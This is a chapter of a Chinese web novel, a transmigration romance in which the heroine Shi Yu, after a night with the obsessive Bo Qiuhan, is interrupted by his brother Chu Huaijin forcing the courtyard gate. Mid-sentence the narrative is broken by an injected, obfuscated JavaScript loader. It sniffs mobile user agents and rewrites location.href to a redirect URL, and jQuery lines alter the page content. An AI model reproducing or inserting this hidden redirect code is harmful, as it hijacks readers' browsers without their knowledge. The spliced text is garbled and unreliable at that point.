23. 想

作品:《穿书后被病娇反攻略了

    “竹青,你去暖泉居看看。”


    褚怀瑾垂眼,面上依旧看不出丝毫波动。


    “是。”


    竹青抬眼瞧了他一下,而后拱手退下。


    只剩微微烛火的厢房,青衫郎君立在正中,幽深的双眸,向四周扫去。


    床榻整整齐齐,不见丝毫人趟过的痕迹。往日起居的住处,现没有丝毫变化,只除了放衣裳的箱子,敞开在一旁。


    褚怀瑾走过去,见大部分物件都好好叠在原处,除了少了件他平日穿惯的青衫。


    一模一样五官的郎君,立在几尺之遥,身上穿着自己的衣物,神色却不羁恣意,双眸满是报复之意。


    褚怀瑾不知薄秋寒报复的点在哪。


    他只知,黑衣女子当着他的面,掳去薄秋寒,已是第二次了。


    施妤苍白柔弱如栀子花的面孔,和暗色下黑衣女子的身影,在他脑里来来回回。


    时而是两个人,时而……又重叠在一起。


    “少爷,没人。”


    不知在原地呆立多久,一阵沉稳的步子声逐渐近了。


    褚怀瑾未曾回首,听见身后竹青满是小心翼翼的话音。


    “备马。”


    向来喜怒不形于色的郎君,如是道。


    夜黑墨浓,即使有地龙暖盆,屋子内亦一股凄清之感。风从敞开的门钻进,茶色幔帘飘起又落下。


    身穿靛青布衫的护卫,一脸崇敬望着前方背对他的人。


    “是。”


    竹青颔了颔首,恭敬的应承在屋内回荡。


    待他退下,褚怀瑾还立在当地,立了好半晌。昏暗烛火照着他如冠玉般温润的眉眼,难掩他身上几乎要溢出实质的凉。


    夜色之下,一阵急促的马蹄声从城郊温泉庄子向城北驶去。


    乌水巷。


    桉岚手持一壶冷酒,人坐在屋檐角上发愣。


    离半月前那场突如其来的大雪,已经过去许久,原先积得厚厚的一层雪,也在日头下渐渐化了。


    雪水顺着瓦楞往下,滴落后了无痕迹。


    咯吱——


    目光所望之处,门开了。


    施妤手拿一块湿巾子,身上寝衣松松垮垮,正推门就瞧见几尺上方的屋檐上,桉岚一手拿着酒壶,一边漫不经心往这边瞧。


    “还不睡?”


    素来坦坦荡荡的人,面上难得涌出一丝羞恼。


    桉岚在窥见这丝恼意瞬间,握酒壶的手一紧。


    从他的视角看去,施妤一身雪绸寝衣,身上的娇媚柔弱掩都掩不了。


    习武之人视力好,他怎瞧不见她露在外边的雪白脖颈,上边满是斑驳的红痕?


    她身上一股让他心惊胆颤的热意。


    喉结向下滑动,桉岚掏出怀里面具,一言不发戴上。而后,才对着月,又饮了一大口。


    “打水?他睡了?”


    处在变声期的沙哑男声在上方响起


    闻言,施妤眼一垂,却只喃喃道了一声尚未。


    她这声“尚未”,声音微弱极了,就跟蚊子声般大小。若不细听,很难听得出来。


    桉岚一眼窥见这个往日在江湖潇洒纵横的同伴,现今在自己面前难得不安。往日两人欢声笑语、肆意的日子,在脑中一闪而过。


    一时间,他心口处却像破了个大洞。


    “厨房有。”


    酒壶一扔,已经长成成人的少年,别过眼。


    他没再看施妤了。


    泛黄的酒液顺着少年刚刚坐过的地方,一路往下,黑衣少年却一个飞身,消失在夜色中。


    徒留施妤对着他远去的身影,久久不语。


    她出来,是要去打水给薄秋寒和自己擦身子用的。


    那家伙一顿胡闹,身上又渗出不少血,不说沐浴,这几日怕是水都不能再沾了。


    而床榻和她,被薄秋寒弄得一片狼藉,现今帐内的味道还未散去。


    片刻前的疯狂癫狂,碎片又在施妤脑里来来回回,她抿紧唇,由着烧红了的羞意从耳根子处消去。半晌,才定神向厨房走去。


    不是这样的。


    她原先不是这般沉溺于男女之情的人。


    往日做攻略,哪需要这般?只需走剧情就可以了。莫说和男主行云雨之欢,就连牵手,也极少。


    说来,这也是她这么多年的头一遭。


    系统之前的提示在脑中翻来覆去,施妤提着水,脑里褚怀瑾的面容,浮出又如雾气般散去。


    “娘子去了好久。”


    一声娇嗔响起,施妤被这声“娘子”叫得人一怔,浑身酥软。


    未点烛的未婚女郎厢房,红帐被铜勾拉起搁在一旁,眉目似艳鬼的青年郎君,懒懒躺在茶色被褥外边。


    身上只着一件绵绸寝衣,大刺刺敞着袒露胸膛。


    施妤只瞧了一眼,便不敢再细看了。多看两眼,她真怕自己彻底沉浸在这人的美色中,和他重复一次又一次的“情不自禁”。


    雾气弥漫,提着的热水倒入盥洗盆。施妤拧了拧湿巾子,自觉温度合适,不烫手,也不凉,这才拿着湿巾子,打里间薄秋寒这儿来。


    薄秋寒仍旧枕在帐内唯一一只枕上,头斜斜撑住下巴,整个人要多放荡要多放荡。


    似是经了在生死边缘这一遭,他看开了,也不想将心事掩掩藏藏了。


    求偶期的花孔雀也不过如此,眼神灼热黏稠,一眨不眨盯着眼前的心上人,脑里全是不可描述的事。


    施妤来到薄秋寒跟前。


    先前两人一通胡闹,床榻哪里看得?


    她回过神来,就将床榻收拾了一番,现是第二遭了。


    “让让。”


    施妤擦了擦床榻,又向薄秋寒望去。


    薄秋寒身上,早被打理得差不多了,他是主动那方,要受也是施妤受着。


    “还要擦。”


    薄秋寒盯紧施妤不放,示意她向前。


    “……”


    施妤长叹一口气。


    这人身子干没干净,已将他从头到脚,都擦了一遍的她,再清楚不过。闻言,施妤脱口就想拒绝。


    伸手不见五指的暗色中,薄秋寒似狼的眼光,却从始至终,没从她身上离开过。


    “行吧……”她拉长语调,无可奈何掩都不掩了。


    就当是这人爱洁,多擦一遍总没有坏处。


    温湿的巾子,刚至薄秋寒露在外边的胸膛处,就被他一把拽住。


    男子细细摩挲着女郎细嫩的手,一股缠绵之意。


    他不光那股让人触目惊心的半死不活没了,眼里也全是挑逗的浪荡感:“再来?”


    男子一边握住女郎的手,边亲吻她手心。


    再来个头!


    施妤气得都想将湿巾子摔他脸上。


    有多出格这人心里没数?


    即使以她一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036879|193742||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个现代人的眼光来看,两个男未婚女未嫁的小年轻,夜里这般,也实在太过火。


    “在下想了……姑娘姑且大方一次,就给了在下这个可怜之人。”


    薄秋寒舔她手心的动作更加粘腻,声音沙哑又带着股懒意。


    夜色掩掉施妤通红的耳根子,也将薄秋寒幽冷、带着股讽刺之意的眸色,掩盖掉了。


    不甘心……更加不甘心了啊。


    与她交缠,实在是人间至欢事,魂灵都飘然至云巅上。


    她好好……怎么能这么好,由自己一个恶鬼作弄,也能给出让他欲罢不能的反应?


    可是不甘心,两人这般出格,自己最想做的始终没做成。


    即使其他玩成了花样,也难抵他喉中渴意。


    毕竟是……兄长名正言顺的未婚妻,不出意外,是他未来的嫂嫂。


    薄秋寒任由寝衣从肩上滑落,人从施妤身后紧紧拥了过去。


    “你知我在不安什么,娘子这般聪颖……给还是不给?”


    若不是因为他是个男子,无法生育,他是真想怀上她的子嗣,牢牢禁锢住她的手脚。


    让她成日只能围着自己打转,满心眼里只有自己和孩子。


    也不会有旁的乱七八糟的人,来打搅他和她的生活,两人夜间,想做什么就做什么,再也不用顾及旁人眼神。


    薄秋寒的心声,顺着两人肌肤相触处传了过去。施妤叹了口气,正想说甚,这时,却听得外头一阵敲门声。


    叩叩,敲门的动静一下一下,有条不紊。


    这声响却在几乎死寂的夜里,让所有人的心,都提了起来。


    是谁?


    小院正门处,一身穿黑色大氅,面目幽冷的青年郎君,神色不定。


    他身前两步,身穿靛青布衫的护卫,亦提神望着面前久久不开的门。


    “郎君,这……”


    竹青瞧了半晌,没见里头有动静,回身看向褚怀瑾,请褚怀瑾示下。


    褚怀瑾无丝毫波动的黑眸,抬眸盯着这座无任何特殊之处的小院。


    院门没有挂灯笼,里间也没有丝毫烛火的亮光,更加没有别样的声响。按理,他不该来,更不该怀疑到薄秋寒身上。


    可不知为何,那床绿嘴红纹鸳鸯被,和袖中的荷包样式,在他脑中来来回回。


    他知阿弟或许与那黑衣女郎,情意匪浅,可他……也想验证下,他想的究竟对不对。


    褚怀瑾垂眸,点了点头,竹青一见,便什么都明白了。


    轰——


    一声巨响,院门大敞。


    正房,施妤眼一厉,“你待在这别动,我去瞧瞧。”


    她按住薄秋寒还欲继续她身上乱动的手,起身,人就往外边走。


    “衣裳。”


    薄秋寒朝她努努嘴。


    这个不消说,施妤自然知晓。屏风上担着的黑衣,是她的伪装色,自然不能和真实身份一同暴露。


    嫉恶如仇、替天行道的侠女,和在后宅痴恋褚怀瑾的施家贵女,不能同现。


    就算在薄秋寒面前,也不能暴露,更加不用说其他人了。


    施妤迅速穿戴完毕,面蒙黑巾,手持着匕首,缓缓向外间隔扇门走去。


    而这时,隔着窗纱,外间来人投射到窗上的影子,也越发明显了。


    “阿弟?”


    青年郎君在门前止步,声音低沉,一股疼惜之意。